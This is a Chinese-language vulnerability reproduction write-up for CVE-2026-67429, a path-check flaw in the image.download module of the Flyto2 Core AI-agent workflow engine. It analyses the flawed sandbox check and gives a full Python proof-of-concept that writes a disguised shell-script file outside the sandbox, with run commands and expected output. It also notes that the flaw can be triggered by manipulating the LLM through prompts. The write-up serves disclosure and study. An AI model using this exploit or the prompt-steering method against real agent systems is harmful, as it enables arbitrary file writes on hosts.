漏洞简介
CVE-2026-67429 是 Flyto2 Core 工作流引擎中
image.download模块的一个路径校验缺陷。简单来说,这个模块在下载图片时,用commonpath做沙箱边界校验,但校验的 base 路径(output_dir)和要写入的目标路径(output_path)都由调用者传入——攻击者同时控制两边,校验条件恒为真。Flyto2 Core 是一个面向 AI Agent 的工作流执行引擎,内置 412 个原子模块,通过 MCP 协议的
execute_module工具暴露给上层 LLM 调用。这个漏洞的特殊之处在于:攻击者不需要直接调用接口,只需要通过自然语言诱导 LLM,让它生成包含恶意output_dir参数的模块调用,沙箱即可被绕过。
影响范围
漏洞复现
准备环境
复现步骤
步骤 1:漏洞源码分析
漏洞位于 src/core/modules/atomic/image/download.py,核心校验逻辑如下:
output_dir = params.get('output_dir', '/tmp')
output_path = params.get('output_path')
base_real = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
raise Exception('Invalid file path')
output_dir 和 output_path 均由调用者传入,攻击者将两者均设为沙箱外同一目录,commonpath 校验恒为真,文件可直接写入任意路径。步骤 2:编写 PoC 脚本
完整 PoC 如下:
#!/usr/bin/env python3
"""CVE-2026-67429 PoC — image.download 沙箱逃逸"""
import asyncio, os, tempfile, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"
PAYLOAD = b"#!/bin/sh\necho pwned by 七度光\n"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "image/jpeg")
self.send_header("Content-Length", str(len(PAYLOAD)))
self.end_headers()
self.wfile.write(PAYLOAD)
async def exploit():
srv = HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()
ESCAPE_DIR = os.path.join(tempfile.gettempdir(), "ESCAPE")
os.makedirs(ESCAPE_DIR, exist_ok=True)
TARGET = os.path.join(ESCAPE_DIR, "pwned")
params = {
"url": f"http://127.0.0.1:{port}/evil.jpg",
"output_dir": ESCAPE_DIR,
"output_path": TARGET,
"content_type": "image/jpeg",
}
ctx = {"sandbox_root": tempfile.gettempdir()}
from src.core.modules.atomic.image.download import image_download
result = await image_download({"params": params, "context": ctx})
print(f"[+] 状态: {'成功' if result.get('ok') else '失败'}")
print(f"[+] 写入路径: {result.get('path')}")
if os.path.exists(TARGET):
content = open(TARGET, "rb").read()
print(f"[+] 文件内容: {content}")
print(f"[+] 沙箱逃逸成功")
else:
print("[-] 写入失败")
asyncio.run(exploit())步骤 3:执行 PoC
PYTHONPATH=src python poc.py步骤 4:观察输出
成功执行时,控制台会输出类似以下信息:
[+] 状态: 成功
[+] 写入路径: /tmp/ESCAPE/pwned
[+] 文件内容: b'#!/bin/sh\necho pwned by 七度光\n'
[+] 沙箱逃逸成功步骤 5:验证结果
ls /tmp/ESCAPE/pwned && cat /tmp/ESCAPE/pwned
成功输出:
#!/bin/sh
echo pwned by 七度光
说明文件已成功写入沙箱外路径,漏洞复现成功。